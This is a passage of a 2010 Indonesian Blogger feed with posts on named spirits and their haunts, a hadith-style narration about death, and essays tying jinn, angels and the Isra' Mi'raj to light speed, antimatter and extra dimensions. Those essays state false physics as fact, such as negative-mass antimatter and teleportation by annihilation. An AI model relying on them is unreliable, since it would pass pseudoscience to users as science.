black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Kujang --- Tremas&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Ni Daruni --- Trenggalek&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Kaladhandhung --- Benthongan&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Si Hasmara --- Taji&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Bagus Anom --- Kudus&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Manglarmunga --- Imogiri&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Puspagati --- Godhong&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Cucukdhandhang --- Kartika&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Kulawarga --- Tasikwedi&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Sanggabuwana --- Kaliopak&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Pak Kocek --- Pejarakan&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Cincinggolong --- Kalihonang&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Ki Daruna --- Warulandheyan&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Si Daruni --- Warulandheyan&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Si Gandhung --- Kedhunggarunggu&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Genapura --- Majaraga&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Bajulbali --- Rembang&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Butagarigis --- Madura&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Si Gober --- Pecangakan&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Obar abir --- Jatimalang&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Rara Dungik --- Randhulawang&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Butakepala --- Prambanan&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Raden Gelanggang Jati --- Redi Gadjahmungkur&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Raden Kusumayuda --- Pagerwaja&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Dodolkawit --- Pecabakan&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Yudapeksa --- Delanggu&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Gambir anom --- Pathi&lt;/b&gt;&lt;/div&gt;&lt;div style="color: black; font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; text-align: justify;"&gt;&lt;b&gt;Gendruk --- Talpegot&lt;/b&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-1516411475622331932?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/1516411475622331932'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/1516411475622331932'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/11/nama-dan-tempat-demit.html' title='nama - nama dan tempat asal &quot;demit&quot;'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_lcn1O_24jBE/TPIDuf_abII/AAAAAAAAAR8/gXYycssmuhk/s72-c/demit.jpeg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-3776597560664230177</id><published>2010-11-27T14:04:00.000+07:00</published><updated>2010-11-27T14:04:54.192+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='catatan'/><title type='text'>bergerak dengan kecepatan cahaya</title><content type='html'>&lt;span class="fullpost"&gt;  Sebagaimana kita tahu bahwa Malaikat dan Jin dapat bergerak atau berpindah tempat dengan sangat cepat, itu karena kecepatan mereka di atas kecepatan cahaya&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Adalah kecepatan terbesar yang diyakini bisa dicapai oleh sebuah benda di alam semesta ini, Kecepatan cahaya dalam sebuah vakum adalah 300.000 (km/s). Kecepatan cahaya ditandai dengan huruf c, yang berasal dari bahasa Latin celeritas yang berarti "kecepatan", dan juga dikenal sebagai konstanta Einstein.&lt;br /&gt;&lt;br /&gt;apakah ada kemungkinan manusia mampu bergerak setara dengan kecepatan cahaya?&lt;br /&gt;&lt;br /&gt;ada seorang manusia yg pernah bergerak dengan kecepatan itu.&lt;br /&gt;Allah SWT memberikan keistimewaan pada Nabi Muhammad s.a.w. dalam perjalanan Isra’ Mi’raj berupa perjalanan yang sangat jauh tapi dapat ditempuh dengan waktu yang relative pendek. Dicapai dengan kecepatan yang sangat cepat, bahkan bisa jadi lebih cepat berlipat-lipat dari kecepatan cahaya.&lt;br /&gt;&lt;br /&gt;Allah Swt berfirman di dalam Alquran Surah Al-Israa’ ayat 1: “Maha suci Allah, yang telah memperjalankan hambaNya pada suatu malam dari Masjidil Haram ke Masjidil Aqsha yang telah Kami berkahi sekelilingnya agar Kami perlihatkan kepadanya sebagian dari tanda–tanda (kebesaran) Kami. Sesungguhnya Dia adalah Maha Mendengar lagi Maha Melihat.”&lt;br /&gt;&lt;br /&gt;Dari ayat tersebut tampak jelas bahwa perjalanan luar biasa itu bukan kehendak dari Rasulullah Saw sendiri, tapi merupakan kehendak Allah Swt. Untuk keperluan itu Allah mengutus malaikat Jibril as (makhluk berdimensi 9) beserta malaikat lainnya sebagai pemandu perjalanan suci tersebut. Dipilihnya malaikat sebagai pengiring perjalanan Rasulullah Saw dimaksudkan untuk mempermudah perjalanan melintasi ruang waktu&lt;br /&gt;&lt;br /&gt;Selain Jibril as dan kawan-kawan, dihadirkan juga kendaraan khusus bernama Buraq, makhluk berbadan cahaya dari alam malakut. Nama Buraq berasal dari kata barqun yang berarti kilat. Perjalanan dari kota Makkah ke Palestina berkendaraan Buraq tersebut ditempuh dengan kecepatan cahaya, sekitar 300.000 kilo meter per detik.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Nabi Muhammad s.a.w. adalah manusia pilihan Allah SWT yang telah diperlihatkan keadaan surga dan neraka pada peristiwa itu. Jika Nabi s.a.w. mengalami peristiwa luar biasa itu,&lt;br /&gt;apakah kita manusia biasa memungkinkan untuk itu? Seandainya badan bermateri padat seperti tubuh kita dipaksakan bergerak dengan kecepatan cahaya, bisa diduga apa yang akan terjadi. Badan kita mungkin akan terserai berai karena ikatan antar molekul dan atom bisa terlepas.&lt;br /&gt;&lt;br /&gt;Jawaban yang paling mungkin untuk pertanyaan itu adalah tubuh kita diubah susunan materinya menjadi cahaya. Bagaimanakah hal itu mungkin terjadi ? Teori yang memungkinkan adalah teori Annihilasi. Teori ini mengatakan bahwa setiap materi (zat) memiliki anti materinya. Dan jika materi direaksikan dengan anti materinya, maka kedua partikel tersebut bisa lenyap berubah menjadi seberkas cahaya atau sinar gamma.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Hal ini telah dibuktikan di laboratorium nuklir bahwa jika partikel proton direaksikan dengan antiproton, atau elektron dengan positron (anti elektron), maka kedua pasangan tersebut akan lenyap dan memunculkan dua buah sinar gamma, dengan energi masing-masing 0,511 MeV (Mega Electron Volt) untuk pasangan partikel elektron, dan 938 MeV untuk pasangan partikel proton.&lt;br /&gt;&lt;br /&gt;Sebaliknya apabila ada dua buah berkas sinar gamma dengan energi sebesar tersebut di atas dilewatkan melalui medan inti atom, maka tiba-tiba sinar tersebut lenyap berubah menjadi 2 buah pasangan partikel tersebut di atas. Hal ini menunjukkan bahwa materi(badan kita) bisa dirubah menjadi cahaya dengan cara tertentu yang disebut annihilasi dan sebaliknya.&lt;br /&gt;&lt;br /&gt;alam semesta ini diciptakan berpasang-pasangan. secara umum alam terbentuk atas materi dan energi. bisa dikatakan materi adalah bentuk energi yang termampatkan. sebagaimana konsep kesetaraan massa dan energi yang dirumuskan oleh Einstein, bahwa materi dalam kondisi tertentu dapat berubah menjadi energi, dan sebaliknya energi dapat berubah menjadi materi. setiap objek berwujud yang ada dalam alam semesta ini, pada dasarnya tersusun atas materi2 submikroskopik yang kita kenal dengan istilah atom, proton dan neutron serta dikelilingi elektron.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;nah! pasangan materi adalah anti materi. materi adalah objek bermassa positif sedangkan antimateri atau antipartikel adalah objek bermassa negatif. materi dan energi bukan berpasangan, walaupun keduanya bisa saling menjelma. materi jika bertemu dengan antimateri dalam kondisi tertentu akan menjelma menjadi foton (annihilasi). foton tidak memiliki massa namun memiliki energi dan momentum.&lt;br /&gt;&lt;br /&gt;annihilasi terjadi ketika massa antimateri menghapus massa materi, sehingga keduanya lenyap dan menjelma menjadi 2 foton gamma dengan massa yang bernilai nol.&lt;br /&gt;&lt;br /&gt;nah, saat tubuh kita di rubah menjadi cahaya dengan annihilasi maka tubuh kita tidak memiliki massa sama seperti Jin, jadi tidak dapat ditarik oleh gaya gravitasi bumi, dengan begitu dapat bergerak secepat kilat.&lt;br /&gt;&lt;br /&gt;kalau dihitung jarak Bumi – Bulan sekitar 450.000 km ditempuh dengan kecepatan cahaya, maka hanya dibutuhkan waktu sekitar 1,5 detik dalam ukuran waktu kita di bumi.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Sesampainya di Bulan tubuh kita kembali menjadi materi.Peristiwa ini mungkin lebih dikenal seperti teleportasi dalam teori fisika kwantum.&lt;br /&gt;&lt;br /&gt;ada lagi peristiwa teleportasi pada kisah nabi sulaiman. yang menurut riwayatnya seorang ahli al kitab yang diperintahkan oleh nabi sulaiman mampu memindahkan istana ratu bilqis dalam satu kedipan mata dari jarak yg begitu jauhnya.&lt;br /&gt;&lt;br /&gt;Yang perlu dipahami adalah perjalanan antar dimensi bukanlah perjalanan berjarak jauh atau pengembaraan angkasa luar, melainkan perjalanan menembus batas dimensi&lt;br /&gt;&lt;br /&gt;lalu dengan apa kita bisa melakukan perjalan menembus dimensi itu ? dengan alam bawah sadar yang kita miliki kadang bisa melalui firasat dan mimpi atau saat meraga sukma !&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;bila memang kecepatan cahaya itu 300.000 km/detik mampu menembus dimensi ruang dan waktu berarti dengan kecepatan itu pula kita bisa melihat masa depan!&lt;br /&gt;&lt;br /&gt;Sebagai contoh seperti kata seorang ilmuwan&lt;br /&gt;misalnya ada 2 anak kembar sebut saja namanya Dina dan Dino&lt;br /&gt;suatu saat Dina dipisahkan dari Dino dan dibawa ke luar angkasa dengan pesawat kecepatan cahaya.Setelah 20 tahun Dina kembali ke bumi dan pada saat kembali umur Dina hanya bertambah 3 taun sedangkan umur Dino bertambah 20 taun.&lt;br /&gt;Itu karena di pesawat dengan kecepatan cahaya waktu berjalan lebih lama dari waktu yg berjalan di bumi.&lt;br /&gt;Ini yang dinamakan Time Paradox&lt;br /&gt;&lt;br /&gt;sebenernya fenomena teleportasi di Indonesia itu udah ada, bahkan sebagian kecil masyarakat udah memanfaatkannya. Mungkin pernah denger, ada orang yang bisa pergi kemana aja hanya sekejap mata. Atau di beberapa kasus ditemukan benda di dalam tubuh, seperti paku, jarum, senjata tajam, batu, dll yang katanya "dikerjain" sama seseorang. Atau hal-hal "mistis" atau "gak masuk akal" lain yang berkenaan dengan pemindahan suatu benda dlm sekejap mata. Masyarakat Indonesia umumnya masih memandang hal tersebut itu aneh, mistis, gaib, gak masuk akal, pekerjaan jin, dsb. Coba deh, dipikirin lagi secara mendalam, bandingkan dengan hukum-hukum fisika, hal tsb akan dapat diterangkan secara ilmiah dan logis, walaupun masih dalam tataran hipotesis. Pada dasarnya fenomena-fenomena yang dapat "ditangkap" oleh indera manusia tidak terlepas dari hukum fisika. Sekarang tergantung kita, apakah mau memikirkan fenomena-fenomena yang terjadi di sekeliling kita. Masih banyak fenomena yang menunggu untuk kita pikirkan dan diterapkan menjadi sebuah TEKNOLOGI.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-3776597560664230177?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/3776597560664230177'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/3776597560664230177'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/11/bergerak-dengan-kecepatan-cahaya.html' title='bergerak dengan kecepatan cahaya'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-4887726357103685235</id><published>2010-11-27T13:41:00.000+07:00</published><updated>2010-11-27T13:41:30.483+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='kajian islam'/><title type='text'>kematian</title><content type='html'>&lt;span class="fullpost"&gt;   Dalam sebuah hadith daripada Aisyah r.a katanya, "Aku sedang duduk bersila di dalam rumah. Tiba-tiba Rasulullah S.A.W datang dan masuk sambil memberi salam kepadaku. Aku segera bangun kerana menghormati dan memuliakannya sebagaimana kebiasaanku di waktu baginda masuk ke dalam rumah. Nabi S.A.W bersabda, "Duduklah di tempat duduk, tidak usahlah berdiri, wahai Ummul Mukminin." Maka Rasulullah S.A.W duduk sambil meletakkan kepalanya di pangkuanku, lalu baginda berbaring dan tertidur.&lt;br /&gt;&lt;br /&gt;Maka aku hilangkan uban pada janggutnya, dan aku dapat 19 rambut yang sudah putih. Maka terfikirlah dalam hatiku dan aku berkata, "Sesungguhnya baginda akan meninggalkan dunia ini sebelum aku sehingga tetaplah satu umat yang ditinggalkan olehnya nabinya." Maka aku menangis sehingga mengalir air mataku jatuh menitis pada wajah baginda.&lt;br /&gt;Baginda terbangun dari tidurnya seraya bertanya, "Apakah sebabnya sehingga engkau menangis wahai Ummul Mukminin?" Masa aku ceritakan kisah tadi kepadanya, lalu Rasulullah S.A.W bertanya, "Keadaan bagaimanakah yang hebat bagi mayat?" Kataku, "Tunjukkan wahai Rasulullah!"&lt;br /&gt;&lt;br /&gt;Rasulullah S.A.W berkata, "Engkaulah katakan!," Jawab Aisyah r.a : "Tidak ada keadaan lebih hebat bagi mayat ketika keluarnya mayat dari rumahnya di mana anak-anaknya sama-sama bersedih hati di belakangnya. Mereka sama-sama berkata, "Aduhai ayah, aduhai ibu! Ayahnya pula mengatakan: "Aduhai anak!"&lt;br /&gt;Rasulullah S.A.W bertanya lagi: "Itu juga termasuk hebat. Maka, manakah lagi yang lebih hebat daripada itu?" Jawab Aisyah r.a : "Tidak ada hal yang lebih hebat daripada mayat ketika ia diletakkan ke dalam liang lahad dan ditimbuni tanah ke atasnya. Kaum kerabat semuanya kembali. Begitu pula dengan anak-anak dan para kekasihnya semuanya kembali, mereka menyerahkan kepada Allah berserta dengan segala amal perbuatannya." Rasulullah S.A.W bertanya lagi, "Adakah lagi yang lebih hebat daripada itu?" Jawab Aisyah, "Hanya Allah dan Rasul-Nya sahaja yang lebih tahu."&lt;br /&gt;&lt;br /&gt;Maka bersabda Rasulullah S.A.W : "Wahai Aisyah, sesungguhnya sehebat-hebat keadaan mayat ialah ketika orang yang memandikan masuk ke rumahnya untuk emmandikannya. Maka keluarlah cincin di masa remaja dari jari-jarinya dan ia melepaskan pakaian pengantin dari badannya. Bagi para pemimpin dan fuqaha, sama melepaskan serban dari kepalanya untuk dimandikan.&lt;br /&gt;Di kala itu rohnya memanggil, ketika ia melihat mayat dalam keadaan telanjang dengan suara yang seluruh makhluk mendengar kecuali jin dan manusia yang tidak mendengar. Maka berkata roh, "Wahai orang yang memandikan, aku minta kepadamu kerana Allah, lepaskanlah pakaianku dengan perlahan-lahan sebab di saat ini aku berehat dari kesakitan sakaratul maut." Dan apabila air disiram maka akan berkata mayat, "Wahai orang yang memandikan akan roh Allah, janganlah engkau menyiram air dalam keadaan yang panas dan janganlah pula dalam keadaan sejuk kerana tubuhku terbakar dari sebab lepasnya roh," Dan jika merea memandikan, maka berkata roh: "Demi Allah, wahai orang yang memandikan, janganlah engkau gosok tubuhku dengan kuat sebab tubuhku luka-luka dengan keluarnya roh."&lt;br /&gt;&lt;br /&gt;Apabila telah selesai dari dimandikan dan diletakkan pada kafan serta tempat kedua telapaknya sudah diikat, maka mayat memanggil, "Wahai orang yang memandikanku, janganlah engkau kuat-kuatkan dalam mengafani kepalaku sehingga aku dapat melihat wajah anak-anakku dan kaum keluargaku sebab ini adalah penglihatan terakhirku pada mereka. Adapun pada hari ini aku dipisahkan dari mereka dan aku tidakakan dapat berjumpa lagi sehingga hari kiamat."&lt;br /&gt;Apabila mayat dikeluarkan dari rumah, maka mayat akan menyeru, "Demi Allah, wahai jemaahku, aku telah meninggalkan isteriku menjadi janda, maka janganlah kamu menyakitinya. Anak-anakku telah menjadi yatim, janganlah menyakiti mereka. Sesungguhnya pada hari ini aku akan dikeluarkan dari rumahku dan meninggalkan segala yang kucintai dan aku tidak lagi akan kembali untuk selama-lamanya."&lt;br /&gt;&lt;br /&gt;Apabila mayat diletakkan ke dalam keranda, maka berkata lagi mayat, "Demi Allah, wahai jemaahku, janganlah kamu percepatkan aku sehingga aku mendengar suara ahliku, anak-anakku dan kaum keluargaku. Sesungguhnya hari ini ialah hari perpisahanku dengan mereka sehingga hari kiamat."     &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-4887726357103685235?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/4887726357103685235'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/475282690325446417/posts/default/4887726357103685235'/><link rel='alternate' type='text/html' href='http://www.watumas.co.cc/2010/11/kematian.html' title='kematian'/><author><name>cece watumas</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_lcn1O_24jBE/S70wcNutHbI/AAAAAAAAAL4/dW2cx838Ka8/S220/Picture+040.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-475282690325446417.post-6293573159605032965</id><published>2010-11-27T13:17:00.000+07:00</published><updated>2010-11-27T13:17:24.244+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='catatan'/><title type='text'>alam gaib dari tinjauan Fisika</title><content type='html'>&lt;span class="fullpost"&gt;   SETELAH ruang ada lagi ruang. Panjang, lebar dan tinggi, tiga dimensi yang membentuk ruang. Jika ditambah dengan satu satuan lagi maka akan terbentuk dimensi keempat. Dimensi ”gaib” ini dipercaya eksistensinya oleh para pakar fisika teori. Mereka menyebutnya hyperspace atau hiperspasial.&lt;br /&gt;&lt;br /&gt;Ada juga yang menyebut dimensi keempat ini sebagai dimensi kelima. Ini karena waktu dianggap sebagai dimensi keempat dalam realita hidup ini. Namun waktu sejauh ini bersifat linier atau berada pada garis lurus yang tidak akan pernah kembali lagi. Waktu pun tidak membentuk ruang baru yang bisa ditempati oleh entitas yang memiliki dimensi (tiga saja tentunya).&lt;br /&gt;&lt;br /&gt;Hiperspasial ini sudah sejak abad 19 dibicarakan para pemikir fisika. Baru pada abad 20 pendapat berbobot mengenai ini dikemukakan oleh ahli matematika Prusia, Theodore Kaluza. Pada tahun 1919, Kaluza menulis surat kepada Albert Einstein yang mengungkapkan bahwa seharusnya ada dimensi keempat. Ia memberi alasan bahwa gravitasi dan radiasi gelombang elektromagnetik merupakan manifestasi yang sama dari suatu entitas ke ruangan yang sama. Baru tiga tahun kemudian Einstein membalas surat Kaluza itu dengan persetujuannya.&lt;br /&gt;&lt;br /&gt;Bukti&lt;br /&gt;&lt;br /&gt;Bagi masyarakat awam, di luar Einstein dan kawan-kawannya, lebih mudah mengadaptasi konsep gaib dibandingkan teori fisika yang rumit. Kita hanya akan mengamini saja ”alam gaib” dimensi keempat itu, cukup hanya percaya bahwa alam itu ada dan tidak terlihat.&lt;br /&gt;&lt;br /&gt;Para pemikir pun setuju bahwa dimensi keempat tidak bisa dilihat oleh kita yang berada dalam tiga dimensi. Ini dijelaskan mereka melalui pengandaian keberadaan kita dalam suatu dimensi. Jika Anda adalah titik dalam suatu garis maka Anda hanya bisa bergerak dari satu ujung garis ke ujung lainnya. Jadi kesadaran Anda mengatakan hanya ada dua titik ekstrem dalam dunia Anda. Begitu pula jika Anda berada dalam dunia dua dimensi, panjang dan lebar. Sebagai titik, Anda bisa bergerak ke luar, ke daerah lebar dan dari sana Anda bisa melihat dimensi pertama yakni garis panjang tadi.&lt;br /&gt;&lt;br /&gt;Begitu pula jika berada dalam tiga dimensi di mana terdapat panjang, lebar dan tinggi. Dari dimensi itu suatu titik bisa bergerak ke berbagai arah dan mengamati satu dimensi, dan juga dua dimensi serta menyadari adanya tiga dimensi. Ia bisa melihat bentuk garis, bentuk bidang datar dan bentuk piramida atau kubus. Ini seperti manusia berada dalam ruang dan melihat benda-benda lain, serta bergerak untuk mendapatkan perspektif yang berbeda.&lt;br /&gt;&lt;br /&gt;Bagi para pakar teori fisika ini sudah bukti yang cukup. Titik dalam garis yang hanya menyadari adanya dua ekstrem bukanlah bukti bahwa batasan dunianya hanya garis saja. Titik dalam bidang datar bukan berarti dunianya hanya panjang dan lebar. Begitu pula kita yang berada dalam tiga dimensi, bukan berarti tidak ada dimensi keempat.&lt;br /&gt;&lt;br /&gt;Itulah mengapa gravitasi dan gelombang elektromagnetik, suatu entitas yang ada dan bergerak di berbagai lokasi ruang, merupakan bukti. Sumber dan sebab gravitasi dan gelombang elektromagnetik belum diketahui dalam realita ruang tiga dimensi yang dikenal sekarang.&lt;br /&gt;&lt;br /&gt;Titik pengandaian kita tadi yang berada dalam tiga dimensi bisa bergerak ke dalam dua dimensi dan ke dalam satu dimensi, titik kita itu bisa menjadi bagian dari bidang datar atau dari garis lurus. Kita, manusia yang berada dalam ruang tiga dimensi bisa merangkai diri menjadi garis atau bidang datar. Jadi suatu entitas yang berada dalam empat dimensi tentu bisa bergerak ke tiga dimensi, atau ke dimensi yang lebih rendah. Itulah gelombang elektromagnetik dan gravitasi yang diajukan Theodore Kaluza pada Albert Einstein.&lt;br /&gt;&lt;br /&gt;Gurame Gila&lt;br /&gt;&lt;br /&gt;Dr. Michio Kaku, profesor fisika teori pada City University di New York memiliki penjelasan ikan gurame terhadap hiperspasial. Michio Kaku lulus summa cum laude dalam ilmu fisika dari Harvard pada tahun 1968 dan mendapatkan doktornya dari Berkeley University tahun 1972. Buku teks untuk tingkat S3 karangannya menjadi bacaan wajib pada laboratorium fisika berbagai universitas.&lt;br /&gt;&lt;br /&gt;Michio Kaku mengandaikan, jika seekor gurame dalam kolam menjadi ilmuwan dan dia mulai berteori tentang dunia langit di atas dunia air maka tentu saja si gurame ini akan dibilang gila. Namun ketika hujan turun akan ada lingkaran gelombang akibat tetes air yang bisa disaksikan dari dalam kolam, dunianya para gurame.&lt;br /&gt;&lt;br /&gt;Inilah jalan untuk pembuktian teori dunia langit atau dimensi di luar dunia yang mereka lihat itu. Dalam dunia manusia, menurut Dr. Michio Kaku, sinar dan gravitasi merupakan lingkaran gelombang yang berasal dari dimensi keempat yang bisa kita buktikan keberadaanya di dimensi kita.&lt;br /&gt;&lt;br /&gt;Seperti apa bentuk hiperspasial masih menjadi perdebatan para pemikirnya. Pada tahun 1926 ahli matematika Swedia, Oskar Klein mengajukan jawaban pragmatis. Menurut dia dimensi keempat ini bentuknya sangat kecil hingga tidak terdeteksi oleh manusia. Gabungan unit keruangan seperti itu disebut botol Kaluza-Klein dan menjadi dasar dari wacana mutakhir yang disebut Teori Benang.&lt;br /&gt;Bayangkan seekor semut hidup di atas benang. Ia hanya akan mengetahui dunianya di depan dan belakangnya saja. Jika melihat benang ini secara rinci maka akan terlihat bagian benang yang menggulung. Di dalamnya terdapat ruang yang tidak akan disadari oleh si semut. Ruang yang tergulung ini yang disebut hiperspasial menurut Kaluza dan muridnya Klein.&lt;br /&gt;&lt;br /&gt;Ruang gulungan berupa benang ini jika bergerak akan menghasilkan getaran yang bisa dirasakan di seluruh ruang. Ini sama dengan dawai digetar dan resonansi suara bergetar di seluruh ruang. Getar benang hiperspasial ini adalah gravitasi dan gelombang elektromagnetik.&lt;br /&gt;&lt;br /&gt;Kebalikan dari ruang yang sangat kecil ini adalah ruang dimensi keempat yang sangat besar. Ini seperti bertolak belakangnya upaya fisika untuk menjelaskan fisika kuantum dan teori relativitas Einstein. Kuantum berbicara tentang entitas yang makin mengecil, sedangkan teori relativitas menjelaskan tentang sesuatu yang sangat besar, seperti galaksi, kuasar, lubang hitam dan teori Ledakan Akbar.&lt;br /&gt;&lt;br /&gt;Dalam hiperspasial, para penghuni dimensi ketiga menjadi tidak sadar karena besar dan bentuknya yang melengkung hingga yang disadari hanya bidang datar di sekelilingnya saja. Ini sama seperti pandangan bahwa bumi itu datar bukannya bulat. Biasanya lengkungan luar biasa besar ini yang menjadi bahan cerita dalam kisah fiksi ilmiah. Ingat pergerakan Starship Entreprise ke hyperspace dengan warp speed? Ini pengejewantahan teori menjadi fiksi.&lt;br /&gt;&lt;br /&gt;Fiksi atau ilmiah menjadi dimensi yang tidak berbatas dengan jelas. Jules Verne berkisah tentang kapal selam dan perjalanan ke bulan seratus tahun sebelum benda ini berhasil diciptakan dunia ilmu pengetahuan. Einstein berbicara tentang lengkungan dalam ruang dan waktu yang menghasilkan gravitasi dan gelombang elektromagnetik dalam Teori Relativitas.&lt;br /&gt;&lt;br /&gt;Dimensi keempat atau hiperspasial sekarang jadi wahana pakar fisika teori untuk menghasilkan rumus pamungkas yang bisa menjelaskan dari inti atom hingga terbentuknya alam raya. Rumus ini adalah teori tentang segalanya dan segalanya adalah penciptaan alam. Jika kita bisa keluar dari keterbatasan pandangan kita dan melihat dunia luar yang kerap kita sebut gaib, maka pertanyaan besar tentang kreasi alam mungkin bisa terjawab.    &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/475282690325446417-6293573159605032965?l=www.watumas.co.cc' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' 